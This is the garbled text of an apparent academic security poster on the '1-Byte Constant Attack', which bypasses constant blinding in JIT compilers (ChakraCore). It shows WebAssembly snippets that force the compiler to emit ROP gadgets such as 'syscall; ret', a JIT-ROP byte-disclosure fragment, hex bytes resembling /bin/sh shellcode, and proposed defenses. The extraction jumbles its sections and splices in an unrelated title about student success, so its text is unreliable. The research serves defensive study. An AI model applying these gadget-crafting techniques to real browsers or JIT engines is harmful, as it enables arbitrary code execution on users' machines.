28th USENIX Security Symposium on August 14–16, 2019

The 1-Byte Constant Attack
against JIT Compilers

RESULTS (continued)• 3-byte gadgets starting with 0x0f
1.
2.
3.

PRESENTER: Takahiro Shinagawa(i32.store8 offset=0x5(get_global $g11) (i32.const 0xc3))

May try to execute arbitrary binary code

1-byte constants in JavaScript

ASSUMPTION (on x64)
••
•

ROP

JIT code

JIT-ROP etc.

89 74 24 41 59 c3 3c 24 48 ff d0 49 8b 4c 24 20
48 8b 08 48 89 8b 22 4c 89 65 f0 44 8b 69 40 89
43 58 8b 4b 28 83 c1 0a 89 41 58 c3 53 2c 83 c20b 89 53 41 59 c3 30 83 c6 0c 89 73 30 8b 7b 34
83 c7 0d 89 5a c3 8b 7b 38 83 c7 0e 89 7b 38 44
8b 43 3c 41 83 c0 59 c3 24 43 3c 44 8b 4b 40 41
83 c1 10 44 89 4b 40 44 8b 53 44 41 83 c2 11 44
89 52 c7 44 8b 5b 48 41 83 c3 12 44 89 5b 48 44
8b 73 4c 41 58 c3 13 44 89 73 4c 44 8b 7b 50 41
83 c7 14 44 89 7b 50 44 43 57 54 41 83 c4 15 44
c6 0c 89 73 83 c7 0e c2 0f 05 c3 2c 83 30 89 7b
38 41 83 c0 0f 44 89 43 3c 41 83 c1 10 44 89 4b

Return address 1
Argument 1 (r9)Return address 2
Argument 2 (r8)Return address 3
Argument 3 (rdx)Return address 4
Argument 4 (rcx)Return address 5

function DiscloseByte (address) {var value = this.string_.charCodeAt((address - this.absoluteAddress_ - 8)/2);
if (address & 1) return value >> 8;
return value & 0xFF;};...

No 1-byte constant blinding

Return address 6// constant blinding for large integersmov eax, (0x12345678 ⊕ KEY)
xor eax, KEY

JIT data
31 c0 31 db 31 c9 31 d2 b0 46 31 db 31 C9 cd 80 b00b 53 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 31 c9 31
c9 53 cd 80 53 44 41 83 c2 11 44 43 58 83 c1 c4 15// no constant blinding for 1-byte integers
mov al, 0x12GOAL•
Generate
2-byteand3-bytegadgetes
Non-Cognitive Predictors of Student Success:
A Predictive•Validity
Between Domesticand International
ToComparison
issue system
calls withROP Students

Make data pages executable (e.g. ZwVirtualProtectMemory())•c6 44 0f 05 c3

BinaryDisassembly

41 59 c3
41 58 c3
5a c3
59 c3
58 c3
0f 05 c3

pop %r9; ret;
pop %r8; ret;
pop %rdx; ret;
pop %rcx; ret;
pop %rax; ret;syscall; ret;(func (export "syscall");; access the 12 global variables(set_global $g10 (i32.add (get_global $g10) (i32.const 10)))(set_global $g11 (i32.add (get_global $g11) (i32.const 11)))...
(set_global $g21 (i32.add (get_global $g21) (i32.const 21)));; access the 12 global variables (second time)(set_global $g10 (i32.add (get_global $g10) (i32.const 10)))(set_global $g11 (i32.add (get_global $g11) (i32.const 11)))(set_global $g12 (i32.add (get_global $g12) (i32.const 12)))(set_global $g13 (i32.add (get_global $g13) (i32.const 13)))(set_global $g14 (i32.add (get_global $g14) (i32.const 14)))(set_global $g15 (i32.add (get_global $g15) (i32.const 15)))(set_global $g16 (i32.add (get_global $g16) (i32.const 16)))(set_global $g17 (i32.add (get_global $g17) (i32.const 17)))(set_global $g18 (i32.add (get_global $g18) (i32.const 18)))(set_global $g19 (i32.add (get_global $g19) (i32.const 19)))(set_global $g20 (i32.add (get_global $g20) (i32.const 20)))(set_global $g21 (i32.add (get_global $g21) (i32.const 21)))

gadgets for issuing system calls;; access the global variable assigned to rcx and craft the code to use rdi(i32.store8 offset=0x5 (get_global $g11) (i32.const 0xc3));; use rdi + rcx(set_global $g17 (i32.add (get_global $g17) (i32.const 17)));; avoid using r10(set_global $g18 (i32.add (get_global $g18) (i32.const 18)));; avoid using r11(set_global $g16 (i32.add (get_global $g16) (i32.const 16)));; avoid using r9(set_global $g15 (i32.add (get_global $g15) (i32.const 15)));; avoid using r8)

with ROP.

POSSIBLE DEFENSE

Non-Cognitive Predictors of Student Success:
A Predictive Validity Comparison Between Domestic and International Students•

Blind all constants (including 1-byte constants)••(Return-Oriented Programming)

Modify JIT compilers to avoid using such addressing modes•••

Bypassing Constant Blinding• Exploiting 2-byte constants [1]••Scale Index Base•

movb $0xc3,0x58(%rbx)• 3-byte gadgets starting with 0x41
Force the compiler to use %rcx (ModR/M is 0x41)
1.
2.
3.

Access many variables to assign registers to themAccess some variables carefully so that %rcx is released
Access a local variable so that %rcx is used for Basec6 41 58 c3

Enforce CFI in JIT code (e.g. Microsoft CFG)•••

movb $0xc3,0x58(%rcx)

Might be bypassed [5]Disallow making memory pages executable (e.g. Microsoft ACG)•

Might be bypassed [6]Prevent JIT-ROP with execute-only memory [7]Might be bypassed [2]REFERENCE[1] M. Athanasakis et al. The Devil is in the Constants: Bypassing Defenses in Browser JIT Engines. In Proc. NDSS 2015.
[2] G. Maisuradze et al. What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses. In Proc.
USENIX Security 2016.
[3] G. Maisuradze et al. Dachshund: Digging for and Securing (Non-)Blinded Constants in JIT Code. In Proc. NDSS 2017.
[4] Y. Yu. Bypass DEP and CFG using JIT compiler in Chakra engine. https://xlab.tencent.com/en/2015/12/09/bypass-dep-and-cfgusing-jit-compiler-in-chakra-engine/, 2015[5] Theori. Chakra JIT CFG Bypass. https://theori.io/research/chakra-jit-cfg-bypass, 2016.
[6] I. Fratric. Bypassing Mitigations by Attacking JIT Server in Microsoft Edge.
https://github.com/googleprojectzero/p0tools/blob/master/JITServer/JIT-Server-whitepaper.pdf, 2018.
[7] M. Backes et al. You Can Run but You Can’t Read: Preventing Disclosure Exploits in Executable Code. In Proc. CCS 2014.
[8] R. Gawlik et al. SoK: Make JIT-Spray Great Again. In Proc. WOOT 2018.

WebAssembly to store a 1-byte immediate value to a local variable

Disassembly

Require two 2-byte constants to generate 4-byte gadgets• Preventing ROP

Immediate(i32.store8 offset=0x58(get_local $i) (i32.const 0xc3))

Require Implicit but at least 3-byte-long constants

Combine two constants into a single instruction [4]•Displacement

Require 2-byte constants and the “ret” instruction at the end of functions

Exploiting Implicit constants [2][3]•RESULTS (on ChakraCore)• Arbitrary 2-byte gadgets•

A combination of constant blinding, 64-bit AS, ASLR, and CFI is necessary [8]

RELATED WORKx64 instruction format

c6 43 58 c3

May be combined with existing ret or jmp

No constant blinding (giving up)•

1. Compile two 1-byte constants into a single instruction
2. Use a specific addressing mode (Mod R/M or SIB)

BinaryMay reduce the effectiveness of optimization

Value-based constant blinding (avoid only control flow changes)••

May incur high overhead (15% to 80%) [1]•Mod Reg R/M;; $g10 <-> rax;; $g11 <-> rcx;; $g12 <-> rdx;; $g13 <-> rsi;; $g14 <-> rdi;; $g15 <-> r8;; $g16 <-> r9;; $g17 <-> r10;; $g18 <-> r11;; $g19 <-> r14;; $g20 <-> r15;; $g21 <-> r12)

Exploit WebAssembly to force the compiler to …

Opcodes

Tested with ChakraCore v1.11.11 (released on 2019-07-11) running on Linux(module;; define 12 global variables(global $g10 (mut i32) (i32.const 10))
(global $g11 (mut i32) (i32.const 11))...
(global $g21 (mut i32) (i32.const 21))
(memory $0 1)

can turn into 2-byte and 3-byte

METHODS

Prefixmovb $0xc3,0x5(%rdi,%rcx)

Generate the gadget “syscall; ret” (0f 05 c3)•••

Disassembly

WORKING CODE// JIT-ROP functions

Argument 5 (rax)Return address 7Binary•

ROP is mountable (e.g. buffer overflow, vulnerable CFI)
Gadgets in JIT code are locatable (e.g. JIT-ROP)
1-byte constants are not blinded (e.g. ChakraCore ≧4)

stack etc.

Access many variables to assign registers to themAccess some variables carefully to release %rdi
Access a global variable so that %rdi and %rcx areused as Base and Index

WebAssembly to store a 1-byte immediate value to memory

INTRO• JavaScript could be malicious•

Force to use %rdi and %rcx (SIB is 0x0f)•Take a picture todownload the full poster

Shinagawa Laboratory
A Leading-edge Deep System Software Laboratory
https://www.os.ecc.u-tokyo.ac.jp

Takahiro Shinagawa, Yuki
Suzuki, Tomoyuki Nakayama,and Masanori Misono